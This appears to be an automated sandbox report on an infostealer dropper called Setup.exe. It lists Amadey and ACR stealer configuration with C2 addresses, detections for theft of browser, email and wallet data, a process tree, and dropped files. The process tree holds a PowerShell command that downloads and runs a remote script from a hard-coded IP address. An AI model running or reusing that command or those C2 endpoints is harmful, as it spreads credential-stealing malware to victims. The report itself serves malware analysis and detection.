Analysis

  • max time kernel
    298s
  • max time network
    240s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20251016-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20251016-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/11/2025, 12:30

General

  • Target
    Setup.exe
  • Size 1.7MB
  • Sample251108-ppf4psypbp
  • SHA256 9155314a52c72e0b5c43e6eb061b212b5c2f827ce61130e1675f02c6aa0bef3a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://87.120.219.26/CCZT7wMNnD29ie

Extracted

Family
  • acrstealer

Attributes
  • ddrs

    crl4.digicert.com

Extracted

Family
  • amadey

Version
  • 5.70

Botnet
  • 2265ca

C2
  • http://mi.huffproofs.com

Attributes
  • install_dir

    3be1510d5b

  • install_file

    Pwvoqdmgn.exe

  • strings_key

    13416e8592239dcfe754c2affc83cb4f

  • url_paths

    /kaWt2QXfpPueNM/index.php

rc4.plain

Signatures

  • ACR stealer,GrMsk

    ACR stealer (aka GrMsk stealer) is an infostealer written in C++.

  • Acrstealer family
  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Amadey family
  • Detects Amadey x86-bit Payload 1 IoCs
  • Detects unpacked ACRstealer payload 7 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 11 IoCs
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    PID:4504
    • C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeUpdate.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeUpdate.exe
      2⤵
      • Suspicious use of SetThreadContext
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3088
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4724
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3044
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
          PID:2476
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
          3⤵
            PID:2520
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe"
            3⤵
              PID:4440
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
              3⤵
                PID:5160
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe"
                3⤵
                  PID:3256
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                  3⤵
                    PID:2792
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.26/CCZT7wMNnD29ie')"
                    3⤵
                    • Badlisted process makes network request
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1972
                  • C:\Windows\SysWOW64\rundll32.exe
                    "C:\Windows\SysWOW64\rundll32.exe"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:5692
                  • C:\Windows\SysWOW64\rundll32.exe
                    "C:\Windows\SysWOW64\rundll32.exe"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:3880
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 3880 -s 620
                      4⤵
                      • Program crash
                      PID:4544
                  • C:\Users\Admin\ts.exe
                    C:\Users\Admin\ts.exe
                    3⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:4676
                    • C:\Users\Admin\AppData\Local\Temp\is-0TFS0.tmp\ts.tmp
                      "C:\Users\Admin\AppData\Local\Temp\is-0TFS0.tmp\ts.tmp" /SL5="$C01D6,18906120,882176,C:\Users\Admin\ts.exe"
                      4⤵
                      • Checks computer location settings
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      PID:2960
                      • C:\Users\Admin\ts.exe
                        "C:\Users\Admin\ts.exe" /VERYSILENT
                        5⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        PID:4248
                        • C:\Users\Admin\AppData\Local\Temp\is-4HRJ3.tmp\ts.tmp
                          "C:\Users\Admin\AppData\Local\Temp\is-4HRJ3.tmp\ts.tmp" /SL5="$601EA,18906120,882176,C:\Users\Admin\ts.exe" /VERYSILENT
                          6⤵
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of FindShellTrayWindow
                          PID:5708
                          • C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\endpointService.exe
                            "C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\endpointService.exe" tipper
                            7⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • System Location Discovery: System Language Discovery
                            PID:3068
              • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                1⤵
                  PID:4196
                • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                  1⤵
                    PID:3028
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 3880 -ip 3880
                    1⤵
                      PID:212

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          2029DB7.tmp

                          • Path C:\Users\Admin\AppData\Local\Temp\2029DB7.tmp
                          • Size 1.2MB
                          • SHA256 94cf57dbe169297050ff19f6f7e32f187ce39b82149db4ceaba4ad3868f15176
                          • MD5 SHA1 SHA512 SSDEEP

                          55BC0D1.tmp

                          • Path C:\Users\Admin\AppData\Local\Temp\55BC0D1.tmp
                          • Size 40B
                          • SHA256 17ccebbe33698d41c0db478d12dd928942d1ed9e1d7959eabce735a7c0b2f390
                          • MD5 SHA1 SHA512

                          Cookies

                          • Path C:\Users\Admin\AppData\Local\Temp\Cookies
                          • Size 20KB
                          • SHA256 72d049174f8bb874a5db67735ce76cab400f25a72391ec557ef2720785b4c4ac
                          • MD5 SHA1 SHA512 SSDEEP

                          Cookies

                          • Path C:\Users\Admin\AppData\Local\Temp\Cookies
                          • Size 20KB
                          • SHA256 3e55c10b7d23fae49653d2e878760adae6065b5e808f6f7e2bad30ec1ff15d53
                          • MD5 SHA1 SHA512 SSDEEP

                          Login Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Login Data
                          • Size 40KB
                          • SHA256 c007da2e5fd780008f28336940b427c3bfd509c72a40bfb7759592149ff3606e
                          • MD5 SHA1 SHA512 SSDEEP

                          Login Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Login Data
                          • Size 56KB
                          • SHA256 bb923abf471bb79086ff9ace293602e1ad882d9af7946dda17ff1c3a7e19f45b
                          • MD5 SHA1 SHA512 SSDEEP

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Web Data
                          • Size 130KB
                          • SHA256 655032d483462ca14ae72a6d901915601e7ace538143d662bf5ed46b2922277e
                          • MD5 SHA1 SHA512 SSDEEP

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Web Data
                          • Size 228KB
                          • SHA256 3a07b3003758a79a574aa73032076567870389751f2a959537257070da3a10d8
                          • MD5 SHA1 SHA512 SSDEEP

                          __PSScriptPolicyTest_e41lilln.sqf.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e41lilln.sqf.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512

                          ts.tmp

                          • Path C:\Users\Admin\AppData\Local\Temp\is-0TFS0.tmp\ts.tmp
                          • Size 3.6MB
                          • SHA256 c36d834949ecc463936800d1f100f642e2c65686a0b6d49aeac0af880f6f2000
                          • MD5 SHA1 SHA512 SSDEEP

                          MicrosoftEdgeUpdate.exe

                          • Path C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeUpdate.exe
                          • Size 201KB
                          • SHA256 f8f3ace5c3c404342251e16381132f0453514e03e9c65cf387a21cd288552200
                          • MD5 SHA1 SHA512 SSDEEP

                          endpointService.exe

                          • Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\endpointService.exe
                          • Size 93KB
                          • SHA256 51182a4dc90f0d8019031e27f9fb8f8f2b8d73cd0c8f5ad5aac194c9f3f5c1e1
                          • MD5 SHA1 SHA512 SSDEEP

                          python38._pth

                          • Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\python38._pth
                          • Size 79B
                          • SHA256 df1f2a305dea16f99a05fffe0cb5fabf453aae7ab8924f7bd6cc440719e2e966
                          • MD5 SHA1 SHA512

                          python38.dll

                          • Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\python38.dll
                          • Size 3.7MB
                          • SHA256 c4220a975f093d52702f93f39cc0e7b56f9057f8b6af26c2a0b63f5a555d0e31
                          • MD5 SHA1 SHA512 SSDEEP

                          python38.zip

                          • Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\python38.zip
                          • Size 2.3MB
                          • SHA256 962f8d05631d598fe0e0ca726a2be700dd460541813177527399fb12534fc0e9
                          • MD5 SHA1 SHA512 SSDEEP

                          tipper

                          • Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\tipper
                          • Size 3KB
                          • SHA256 1f1dee824d00e2c726dc2dfd1c767bfdc1efd7ad3308caf2da9b1200e7142b39
                          • MD5 SHA1 SHA512

                          vcruntime140.dll

                          • Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\vcruntime140.dll
                          • Size 78KB
                          • SHA256 8934aaeb65b6e6d253dfe72dea5d65856bd871e989d5d3a2a35edfe867bb4825
                          • MD5 SHA1 SHA512 SSDEEP

                          ts.exe

                          • Path C:\Users\Admin\ts.exe
                          • Size 21.7MB
                          • SHA256 354a72b6274ad1d82ba534bd4a1d6e76cb1e09dd59b28ab22e2b6ec3461468fb
                          • MD5 SHA1 SHA512 SSDEEP

                          memory/1972-74-0x0000000007AB0000-0x000000000812A000-memory.dmp

                          memory/1972-75-0x0000000006950000-0x000000000696A000-memory.dmp

                          memory/1972-65-0x00000000064F0000-0x000000000653C000-memory.dmp

                          memory/1972-53-0x00000000054A0000-0x00000000054C2000-memory.dmp

                          memory/1972-64-0x0000000006460000-0x000000000647E000-memory.dmp

                          memory/1972-101-0x0000000074FF0000-0x00000000757A0000-memory.dmp

                          memory/1972-61-0x0000000005E90000-0x00000000061E4000-memory.dmp

                          memory/1972-103-0x000000000D2A0000-0x000000000D2C2000-memory.dmp

                          memory/1972-102-0x000000000D300000-0x000000000D396000-memory.dmp

                          memory/1972-104-0x000000000D950000-0x000000000DEF4000-memory.dmp

                          memory/1972-55-0x0000000005E20000-0x0000000005E86000-memory.dmp

                          memory/1972-46-0x0000000002B40000-0x0000000002B76000-memory.dmp

                          memory/1972-47-0x0000000005520000-0x0000000005B48000-memory.dmp

                          memory/1972-54-0x0000000005CC0000-0x0000000005D26000-memory.dmp

                          memory/2476-27-0x0000020E9ED60000-0x0000020E9ED62000-memory.dmp

                          memory/2520-30-0x0000024429C90000-0x0000024429C92000-memory.dmp

                          memory/2792-42-0x000001DD79450000-0x000001DD79452000-memory.dmp

                          memory/2960-91-0x0000000000400000-0x00000000007AE000-memory.dmp

                          memory/3044-26-0x000001A613170000-0x000001A613172000-memory.dmp

                          memory/3088-20-0x0000000000400000-0x000000000043D000-memory.dmp

                          memory/3088-19-0x00007FFFB33B0000-0x00007FFFB35A5000-memory.dmp

                          memory/3088-76-0x0000000000400000-0x000000000043D000-memory.dmp

                          memory/3088-23-0x0000000000400000-0x000000000043D000-memory.dmp

                          memory/3088-24-0x0000000000400000-0x000000000043D000-memory.dmp

                          memory/3088-97-0x0000000000400000-0x000000000043D000-memory.dmp

                          memory/3088-45-0x0000000000400000-0x000000000043D000-memory.dmp

                          memory/3088-14-0x0000000000400000-0x000000000043D000-memory.dmp

                          memory/3256-39-0x0000020FE9310000-0x0000020FE9312000-memory.dmp

                          memory/3880-73-0x0000000003D80000-0x0000000004390000-memory.dmp

                          memory/3880-71-0x0000000003D80000-0x0000000004390000-memory.dmp

                          memory/3880-66-0x0000000000F80000-0x0000000000F83000-memory.dmp

                          memory/3880-72-0x0000000003D80000-0x0000000004390000-memory.dmp

                          memory/3880-67-0x0000000003D80000-0x0000000004390000-memory.dmp

                          memory/4248-99-0x0000000000270000-0x0000000000357000-memory.dmp

                          memory/4248-161-0x0000000000270000-0x0000000000357000-memory.dmp

                          memory/4248-89-0x0000000000270000-0x0000000000357000-memory.dmp

                          memory/4440-33-0x0000021A24F00000-0x0000021A24F02000-memory.dmp

                          memory/4504-21-0x00007FFF95C70000-0x00007FFF95D72000-memory.dmp

                          memory/4504-12-0x00007FFF95C70000-0x00007FFF95D72000-memory.dmp

                          memory/4504-0-0x00007FFF95C70000-0x00007FFF95D72000-memory.dmp

                          memory/4504-9-0x00007FFF95C8D000-0x00007FFF95C8E000-memory.dmp

                          memory/4504-10-0x00007FFF95C70000-0x00007FFF95D72000-memory.dmp

                          memory/4504-16-0x00007FFF95C8D000-0x00007FFF95C8E000-memory.dmp

                          memory/4676-80-0x0000000000270000-0x0000000000357000-memory.dmp

                          memory/4676-93-0x0000000000270000-0x0000000000357000-memory.dmp

                          memory/4724-25-0x0000027E46BF0000-0x0000027E46BF2000-memory.dmp

                          memory/5160-36-0x000001FDB16D0000-0x000001FDB16D2000-memory.dmp

                          memory/5692-50-0x0000000000EF0000-0x0000000000F42000-memory.dmp

                          memory/5692-48-0x0000000000A40000-0x0000000000A43000-memory.dmp

                          memory/5692-163-0x00000000009B0000-0x0000000000A1F000-memory.dmp

                          memory/5708-100-0x0000000000EF0000-0x000000000129E000-memory.dmp

                          memory/5708-151-0x0000000000EF0000-0x000000000129E000-memory.dmp

                          memory/5708-160-0x0000000000EF0000-0x000000000129E000-memory.dmp